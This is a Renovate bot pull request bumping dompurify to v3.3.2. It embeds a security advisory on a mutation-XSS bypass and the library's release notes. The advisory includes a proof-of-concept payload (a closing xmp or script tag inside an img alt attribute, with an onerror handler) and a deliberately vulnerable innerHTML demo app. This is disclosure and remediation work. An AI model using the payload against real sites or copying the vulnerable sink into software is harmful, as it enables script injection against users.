Skip to content

📦 Update dependency dompurify to v3.3.2 [SECURITY] - autoclosed#40150

Closed
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-dompurify-vulnerability
Closed

📦 Update dependency dompurify to v3.3.2 [SECURITY] - autoclosed#40150
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-dompurify-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Sep 16, 2024

This PR contains the following updates:

Package Change Age Confidence
dompurify 3.0.23.3.2 age confidence

See all other Renovate PRs on the Dependency Dashboard

How to resolve breaking changes

This PR may introduce breaking changes that require manual intervention. In such cases, you will need to check out this branch, fix the cause of the breakage, and commit the fix to ensure a green CI build. To check out and update this PR, follow the steps below:

# Check out the PR branch
git checkout -b renovate/npm-dompurify-vulnerability main
git pull https://github.com/ampproject/amphtml.git renovate/npm-dompurify-vulnerability

# Directly make fixes and commit them
amp lint --fix # For lint errors in JS files
amp prettify --fix # For prettier errors in non-JS files
# Edit source code in case of new compiler warnings / errors

# Push the changes to the branch
git push git@github.com:ampproject/amphtml.git renovate/npm-dompurify-vulnerability:renovate/npm-dompurify-vulnerability

GitHub Vulnerability Alerts

GHSA-h8r8-wccr-v5f2

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

  1. Start the PoC app:
npm install
npm start
  1. Open http://localhost:3001.
  2. Set Wrapper en sink to xmp.
  3. Use payload:
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.
  2. Observe:
  • Sanitized response still contains the </xmp> sequence inside alt.
  • The sink reparses to include <img src="x" onerror="alert('expoc')">.
  • alert('expoc') is triggered.
  1. Files:
  • index.html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>
  • server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
  • package.json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

  • PoC

daft-video.webm

  • XSS triggered
daft-img

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

  • Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
  • Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
  • Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

  1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
  2. Keep the rendering context stable from sanitize to sink.
  3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
  4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
  5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.


Release Notes

cure53/DOMPurify (dompurify)

v3.3.2: DOMPurify 3.3.2

Compare Source

  • Fixed a possible bypass caused by jsdom's faulty raw-text tag parsing, thanks multiple reporters
  • Fixed a prototype pollution issue when working with custom elements, thanks @​christos-eth
  • Fixed a lenient config parsing in _isValidAttribute, thanks @​christos-eth
  • Bumped and removed several dependencies, thanks @​Rotzbua
  • Fixed the test suite after bumping dependencies, thanks @​Rotzbua

v3.3.1: DOMPurify 3.3.1

Compare Source

  • Updated ADD_FORBID_CONTENTS setting to extend default list, thanks @​MariusRumpf
  • Updated the ESM import syntax to be more correct, thanks @​binhpv

v3.3.0: DOMPurify 3.3.0

Compare Source

  • Added the SVG mask-type attribute to default allow-list, thanks @​prasadrajandran
  • Added support for ADD_ATTR and ADD_TAGS to accept functions, thanks @​nelstrom
  • Fixed an issue with the slot element being in both SVG and HTML allow-list, thanks @​Wim-Valgaeren

v3.2.7: DOMPurify 3.2.7

Compare Source

  • Added new attributes and elements to default allow-list, thanks @​elrion018
  • Added tagName parameter to custom element attributeNameCheck, thanks @​nelstrom
  • Added better check for animated href attributes, thanks @​llamakko
  • Updated and improved the bundled types, thanks @​ssi02014
  • Updated several tests to better align with new browser encoding behaviors
  • Improved the handling of potentially risky content inside CDATA elements, thanks @​securityMB & @​terjanq
  • Improved the regular expression for raw-text elements to cover textareas, thanks @​securityMB & @​terjanq

v3.2.6: DOMPurify 3.2.6

Compare Source

v3.2.5: DOMPurify 3.2.5

Compare Source

  • Added a check to the mXSS detection regex to be more strict, thanks @​masatokinugawa
  • Added ESM type imports in source, removes patch function, thanks @​donmccurdy
  • Added script to verify various TypeScript configurations, thanks @​reduckted
  • Added more modern browsers to the Karma launchers list
  • Added Node 23.x to tested runtimes, removed Node 17.x
  • Fixed the generation of source maps, thanks @​reduckted
  • Fixed an unexpected behavior with ALLOWED_URI_REGEXP using the 'g' flag, thanks @​hhk-png
  • Fixed a few typos in the README file

v3.2.4: DOMPurify 3.2.4

Compare Source

  • Fixed a conditional and config dependent mXSS-style bypass reported by @​nsysean
  • Added a new feature to allow specific hook removal, thanks @​davecardwell
  • Added purify.js and purify.min.js to exports, thanks @​Aetherinox
  • Added better logic in case no window object is president, thanks @​yehuya
  • Updated some dependencies called out by dependabot
  • Updated license files etc to show the correct year

v3.2.3: DOMPurify 3.2.3

Compare Source

v3.2.2: DOMPurify 3.2.2

Compare Source

  • Fixed a possible bypass in case a rather specific config for custom elements is set, thanks @​yaniv-git
  • Fixed several minor issues with the type definitions, thanks again @​reduckted
  • Fixed a minor issue with the types reference for trusted types, thanks @​reduckted
  • Fixed a minor problem with the template detection regex on some systems, thanks @​svdb99

v3.2.1: DOMPurify 3.2.1

Compare Source

v3.2.0: DOMPurify 3.2.0

Compare Source

v3.1.7: DOMPurify 3.1.7

Compare Source

  • Fixed an issue with comment detection and possible bypasses with specific config settings, thanks @​masatokinugawa
  • Fixed several smaller typos in documentation and test & build files, thanks @​christianhg
  • Added better support for Angular compiler, thanks @​jeroen1602
  • Added several new attributes to HTML and SVG allow-list, thanks @​Gigabyte5671 and @​Rotzbua
  • Removed the foreignObject element from the list of HTML entry-points, thanks @​masatokinugawa
  • Bumped several dependencies to be more up to date

v3.1.6: DOMPurify 3.1.6

Compare Source

  • Fixed an issue with the execution logic of attribute hooks to prevent bypasses, thanks @​kevin-mizu
  • Fixed an issue with element removal leading to uncaught errors through DOM Clobbering, thanks @​realansgar
  • Fixed a minor problem with the bower file pointing to the wrong dist path
  • Fixed several minor typos in docs, comments and comment blocks, thanks @​Rotzbua
  • Updated several development dependencies

v3.1.5: DOMPurify 3.1.5

Compare Source

  • Fixed a minor issue with the dist paths in bower.js, thanks @​HakumenNC
  • Fixed a minor issue with sanitizing HTML coming from copy&paste Word content, thanks @​kakao-bishop-cho

v3.1.4: DOMPurify 3.1.4

Compare Source

  • Fixed an issue with the recently implemented isNaN checks, thanks @​tulach
  • Added several new popover attributes to allow-list, thanks @​Gigabyte5671
  • Fixed the tests and adjusted the test runner to cover all branches

v3.1.3: DOMPurify 3.1.3

Compare Source

  • Fixed several mXSS variations found by and thanks to @​kevin-mizu & @​Ry0taK
  • Added better configurability for comment scrubbing default behavior
  • Added better hardening against Prototype Pollution attacks, thanks @​kevin-mizu
  • Added better handling and readability of the nodeType property, thanks @​ssi02014
  • Fixed some smaller issues in README and other documentation

v3.1.2: DOMPurify 3.1.2

Compare Source

  • Addressed and fixed a mXSS variation found by @​kevin-mizu
  • Addressed and fixed a mXSS variation found by Adam Kues of Assetnote
  • Updated tests for older Safari and Chrome versions

v3.1.1: DOMPurify 3.1.1

Compare Source

  • Fixed an mXSS sanitiser bypass reported by @​icesfont
  • Added new code to track element nesting depth
  • Added new code to enforce a maximum nesting depth of 255
  • Added coverage tests and necessary clobbering protections

Note that this is a security release and should be upgraded to immediately. Please also note that further releases may follow as the underlying vulnerability is apparently new and further variations may be discovered.

v3.1.0: DOMPurify 3.1.0

Compare Source

  • Added new setting SAFE_FOR_XML to enable better control over comment scrubbing
  • Updated README to warn about happy-dom not being safe for use with DOMPurify yet
  • Updated the LICENSE file to show the accurate year number
  • Updated several build and test dependencies

v3.0.11: DOMPurify 3.0.11

Compare Source

  • Fixed another conditional bypass caused by Processing Instructions, thanks @​Ry0taK
  • Fixed the regex for HTML Custom Element detection, thanks @​AlekseySolovey3T

v3.0.10: DOMPurify 3.0.10

Compare Source

  • Fixed two possible bypasses when sanitizing an XML document and later using it in HTML, thanks @​Slonser
  • Bumped up some build and test dependencies

v3.0.9: DOMPurify 3.0.9

Compare Source

  • Fixed a problem with proper detection of Custom Elements, thanks @​kevin-mizu
  • Refactored the hasOwnProperty logic, thanks @​ssi02014
  • Removed a superfluous console.warn making HappyDom happier, thanks @​HugoPoi
  • Modernized some of the demo hooks for better looks, thanks @​Steb95

v3.0.8: DOMPurify 3.0.8

Compare Source

  • Fixed errors caused by conditional exports, thanks @​ssi02014
  • Fixed a type error when working with custom element config, thanks @​cpmotion

v3.0.7: DOMPurify 3.0.7

Compare Source

  • Added better protection against CSPP attacks, thanks @​kevin-mizu
  • Updated browser versions for automated tests
  • Updated Node versions for automated tests
  • Refactored code base, thanks @​ssi02014
  • Refactored build system & deployment, thanks @​ssi02014

v3.0.6: DOMPurify 3.0.6

Compare Source

  • Refactored the core code-base and several utilities, thanks @​ssi02014
  • Updated and fixed several sections of the README, thanks @​ssi02014
  • Updated several outdated build and test dependencies

v3.0.5: DOMPurify 3.0.5

Compare Source

  • Fixed a licensing issue spotted and reported by @​george-thomas-hill
  • Updated several build and test dependencies

v3.0.4: DOMPurify 3.0.4

Compare Source

  • Fixed a bypass in jsdom 22 in case the noframes element is permitted, thanks @​leeN
  • Fixed a typo with shadowrootmod which should be shadowrootmode, thanks @​masatokinugawa

v3.0.3: DOMPurify 3.0.3

Compare Source

  • Added new TRUSTED_TYPES_POLICY configuration option, thanks @​dejang
  • Added feDropShadow to the SVG filter allow-list, thanks @​SelfMadeSystem

Configuration

📅 Schedule: Branch creation - "" in timezone America/Los_Angeles, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 4 times, most recently from ebdb1b6 to 4cf819e Compare September 27, 2024 16:09
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 4 times, most recently from ac03d04 to 4132d6b Compare October 4, 2024 16:51
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from 4132d6b to 41fb487 Compare October 8, 2024 15:25
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 3 times, most recently from bb0fdbf to f7cdfac Compare October 20, 2024 23:13
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from f7cdfac to 0a78489 Compare December 1, 2024 07:28
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from 0a78489 to ca2dafd Compare January 10, 2025 18:48
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from ca2dafd to 73cb95a Compare August 28, 2025 18:51
@renovate renovate bot changed the title 📦 Update dependency dompurify to v3.1.3 [SECURITY] 📦 Update dependency dompurify to v3.2.4 [SECURITY] Aug 28, 2025
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from 73cb95a to a48fa91 Compare December 9, 2025 21:10
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch 3 times, most recently from 7f13333 to 409116d Compare February 24, 2026 20:08
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from 409116d to 67c8f74 Compare March 3, 2026 21:50
@renovate renovate bot changed the title 📦 Update dependency dompurify to v3.2.4 [SECURITY] 📦 Update dependency dompurify to v3.2.4 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/npm-dompurify-vulnerability branch March 27, 2026 01:12
@renovate renovate bot changed the title 📦 Update dependency dompurify to v3.2.4 [SECURITY] - autoclosed 📦 Update dependency dompurify to v3.3.2 [SECURITY] Mar 28, 2026
@renovate renovate bot reopened this Mar 28, 2026
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from 3ea0cb9 to 67c8f74 Compare March 28, 2026 05:03
@renovate renovate bot force-pushed the renovate/npm-dompurify-vulnerability branch from 67c8f74 to 3ea0cb9 Compare March 28, 2026 05:03
@renovate renovate bot changed the title 📦 Update dependency dompurify to v3.3.2 [SECURITY] 📦 Update dependency dompurify to v3.3.2 [SECURITY] - autoclosed Mar 28, 2026
@renovate renovate bot closed this Mar 28, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants